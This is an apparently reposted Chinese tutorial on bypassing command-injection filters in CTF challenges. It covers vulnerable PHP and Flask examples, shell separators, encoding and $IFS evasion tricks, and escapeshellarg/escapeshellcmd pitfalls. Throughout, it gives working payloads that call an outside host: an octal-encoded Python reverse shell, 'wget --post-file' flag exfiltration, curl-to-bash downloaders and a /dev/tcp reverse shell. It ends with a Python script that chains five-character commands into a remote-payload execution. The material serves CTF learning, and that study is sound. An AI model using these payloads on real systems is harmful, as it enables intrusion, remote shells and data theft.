您好,登錄后才能下訂單哦!
小編給大家分享一下如何實現CTF中命令執行繞過方法,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
僅供參考學習使用
命令執行繞過
通過php的危險函數執行需要的命令
簡單例題
<?php if (isset($_POST['host'])) { $host = $_POST['host']; $res = shell_exec("ping -c 4 {$host}"); echo $res; } ?>
在ping ip后利用linux的命令分割符分割,可以執行任意命令
通過php的可變變量也能進行命令執行
類似于:${cmd}
或者$$a
,$a可控為{cmd}
linux大部分命令放置在/bin或者/sbin目錄下,無法執行可以考慮使用/bin/cat
等命令
;
用;號隔開每個命令, 每個命令按照從左到右的順序,順序執行, 彼此之間不關心是否失敗,所有命令都
會執行。
&
后臺執行
&&
命令之間使用 && 連接,實現邏輯與的功能。
只有在 && 左邊的命令返回真(命令返回值 $? == 0),&& 右邊的命令才會被執行。
只要有一個命令返回假(命令返回值 $? == 1),后面的命令就不會被執行。
|
命令A|命令B,即命令A的正確輸出作為命令B的操作對象
例如: ps aux | grep "test" 在 ps aux中的結果中查找test。
||
命令之間使用 || 連接,實現邏輯或的功能。
只有在 || 左邊的命令返回假(命令返回值 $? == 1),|| 右邊的命令才會被執行。
%0a、%0d
Win:
%1a
system()
shell_exec()
eval()
asssert()
exec()
preg_replace()
call_user_func()
passthru()
pctml_exec()
popen()
proc_open()
反引號命令執行(反引號相當于shell_exec())
<?php show_source(__FILE__); $a = `whoami`; echo $a; ?> rayi\shinelon
如果命令注入的網站過濾了某些分割符,可以將分隔符編碼后(url編碼,base64等)繞過
$(printf "\154\163")//ls命令
這個編碼后可以拼接
//這里過濾了-.等符號,只允許0-9a-zA-Z">\\\$(); echo$IFS$9$(printf$IFS$9"\163\75\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\163\157\143\153\145\164\50\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\101\106\137\111\116\105\124\54\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\123\117\103\113\137\123\124\122\105\101\115\51\73\163\56\143\157\156\156\145\143\164\50\50\42\64\67\56\61\60\60\56\61\62\60\56\61\62\63\42\54\62\63\63\63\51\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\60\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\61\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\62\51\73\160\75\137\137\151\155\160\157\162\164\137\137\50\42\163\165\142\160\162\157\143\145\163\163\42\51\56\143\141\154\154\50\133\42\57\142\151\156\57\142\141\163\150\42\54\42\55\151\42\135\51\73")>$(printf$IFS$9"\57")detect$(printf$IFS$9"\56")py echo 'python反彈shell的payload' > /detect.py
例題:
from flask import Flask from flask import render_template,request import subprocess,re app = Flask(__name__) @app.route('/',methods=['GET']) def index(): return render_template('index.html') @app.route('/run',methods=['POST']) def run(): cmd = request.form.get("cmd") if re.search(r'''[^0-9a-zA-Z">\\\$();]''',cmd): return 'Hacker!' if re.search(r'''ping|wget|curl|bash|perl|python|php|kill|ps''',cmd): return 'Hacker!' p = subprocess.Popen(cmd,stderr=subprocess.STDOUT, stdout=subprocess.PIPE,shell=True,close_fds=True) try: (msg, errs) = p.communicate(timeout=5) return msg except Exception as e: return 'Error!' app.run(host='0.0.0.0',port='5000')
覆蓋寫原來定時執行,用來清除進程的detect.py,直接get root權限
echo "636174202F6574632F706173737764" | xxd -r -p|bash
linux內置分隔符
${IFS},$IFS,$IFS$9
root # cat${IFS}flag weqweqweqweqweqwe root # cat$IFS$9flag weqweqweqweqweqwe
對于 >,+ 等 符號的過濾 ,$PS2
變量為>,$PS4
變量則為+
通過拆分命令達到繞過的效果
a=l;b=s;$a$b
空變量繞過
cat fl${x}ag
cat tes$(z)t/flag
控制環境變量繞過
$PATH => "/usr/local/….blablabla”
${PATH:0:1} => '/'
${PATH:1:1} => 'u'
${PATH:0:4} => '/usr'
空值繞過
cat fl""ag
cat fl''ag
cat "fl""ag"
反斜杠繞過
ca\t flag
l\s
$*和$@,$x(x 代表 1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在沒有傳入參數的情況下,這些特殊字符默認為空,如下:
wh$1oami
who$@ami
whoa$*mi
在Linux bash中還可以使用{OS_COMMAND,ARGUMENT}
來執行系統命令{cat,flag}
可以通過curl命令將命令的結果輸出到訪問的url中
curl www.rayi.vip/`whoami`
在服務器日志中可看到
xx.xx.xx.xx - - [12/Aug/2019:10:32:10 +0800] "GET /root HTTP/1.1" 404 146 "-" "curl/7.58.0"
這樣,命令的回顯就能在日志中看到了
ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sort|cut|xxd
無回顯的情況下wget帶出
wget --post-file flag 47.100.120.123:2333
escapeshellarg()
escapeshellarg ( string
$arg
) : stringescapeshellarg()將給字符串增加一個單引號并且能引用或者轉碼任何已經存在的單引號,這樣以確保能夠直接將一個字符串傳入 shell 函數,并且還是確保安全的。對于用戶輸入的部分參數就應該使用這個函數。
例子
<?php system('ls '.escapeshellarg($dir)); ?>
escapeshellcmd()
escapeshellcmd ( string
$command
) : stringescapeshellcmd()對字符串中可能會欺騙 shell 命令執行任意命令的字符進行轉義。 此函數保證用戶輸入的數據在傳送到 exec()或 system()函數,或者 執行操作符之前進行轉義。
反斜線(\)會在以下字符之前插入: *&#;`|*?~<>^()[]{}$*, \x0A和 \xFF。 '和 "僅在不配對兒的時候被轉義。 在 Windows 平臺上,所有這些字符以及 %和 !字符都會被空格代替。
<?php // 我們故意允許任意數量的參數 $command = './configure '.$_POST['configure_options']; $escaped_command = escapeshellcmd($command); system($escaped_command); ?>
使用escapeshellarg()
的本意是避免參數注入,但是如果在此基礎上又使用了escapeshellcmd()
,反而又會造成參數注入
例子:
這時候我們只能掃描一個ip地址,無法增加參數
-oN/-oX/-oG:
將報告寫入文件,格式分別為正常(自定義.txt),XML,grepable.
但是如果多了個escapeshellcmd
可以寫入一句話
注意要兩遍都加單引號,否則寫入的文件名或者其他的地方會有奇怪的錯誤
參考題目來自:https://www.jianshu.com/p/a77e956d9941
p神教程:https://www.leavesongs.com/SHARE/some-tricks-from-my-secret-group.html
題目:hitcon2017的babyfirst,hgame2020代打出題人服務中心
假設我們一次只能執行長度為5的命令
linux命令執行的時候可以使用反斜杠換行
bash腳本中同樣適用上面的規則
可以用文件名加反斜杠構成命令,使用ls -t > o 將文件名輸出到文件,使用bash o執行腳本
ls默認是按照ascii碼由小到大排序的
如果想要控制文件的排序,我們可以使用ls -t
ls -t是按照文件創建時間排序的
將ls -t
輸出到文件
這樣我們就可以先利用反斜杠將我們要執行的命令分隔開,在利用ls-t將命令分隔后的文件名寫入到一個文件里,再使用bash執行這個腳本
構造ls -t
命令:>ls\\ #生成一個文件名為ls\的文件 命令:ls>_ #為了確保ls -t 中ls在前面,所以要先使用ls>_將ls輸入到文件_中 命令:>\ \\ #生成ls -t之間的空格,一個文件名為 \的文件 命令:>-t\\ #生成文件名為-t\的文件 命令:>\>g #生成文件名為>g的文件 命令:ls>>_ #將所有的文件名寫到文件_里 命令:sh _ #由上至下按順序執行由\拼接起來的ls -t命令,并將結果輸入到文件g中
有了ls -t
作為跳板,我們就可以寫入其他的命令了
為了方便,我們可以利用curl從我們的vps上下載腳本,反彈shell。這樣我們只需要構造
curl 47.100.120.123/g|bash
vps上
bash -i >& /dev/tcp/47.100.120.123/2333 0>&1
為了更方便,我們可以把vps的ip數字化
http://www.msxindl.com/tools/ip/ip_num.asp
795113595
所以要構造的payload就變成了
curl 795113595/g|bash
我vps用的寶塔,寶塔我沒搞出來怎么支持純數字ip。。。
import requests from time import sleep import urllib payload = [ # generate `ls -t>g` file '>ls\\', 'ls>_', '>\ \\', '>-t\\', '>\>g', 'ls>>_', # generate `curl www.rayi.vip|bash` # 注意文件名不能以.開頭 # 注意文件名不能有重復 # 注意vps只能用index,因為文件名不能以/開頭 # 悲劇的是我的vps的ip正好有倆0.,只能用域名了 '>sh\ ', '>ba\\', '>\|\\', '>p\\', '>vi\\', '>i.\\', '>y\\', '>ra\\', '>w.\\', '>ww\\', '>\ \\', '>rl\\', '>cu\\', # exec 'sh _', #先執行ls -t>g 'sh g' ] r = requests.get('http://url/?reset=1') for i in payload: assert len(i) <= 5 r = requests.get('http://url/?cmd=' + urllib.parse.quote(i) ) print(i) sleep(1)
以上是“如何實現CTF中命令執行繞過方法”這篇文章的所有內容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內容對大家有所幫助,如果還想學習更多知識,歡迎關注億速云行業資訊頻道!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。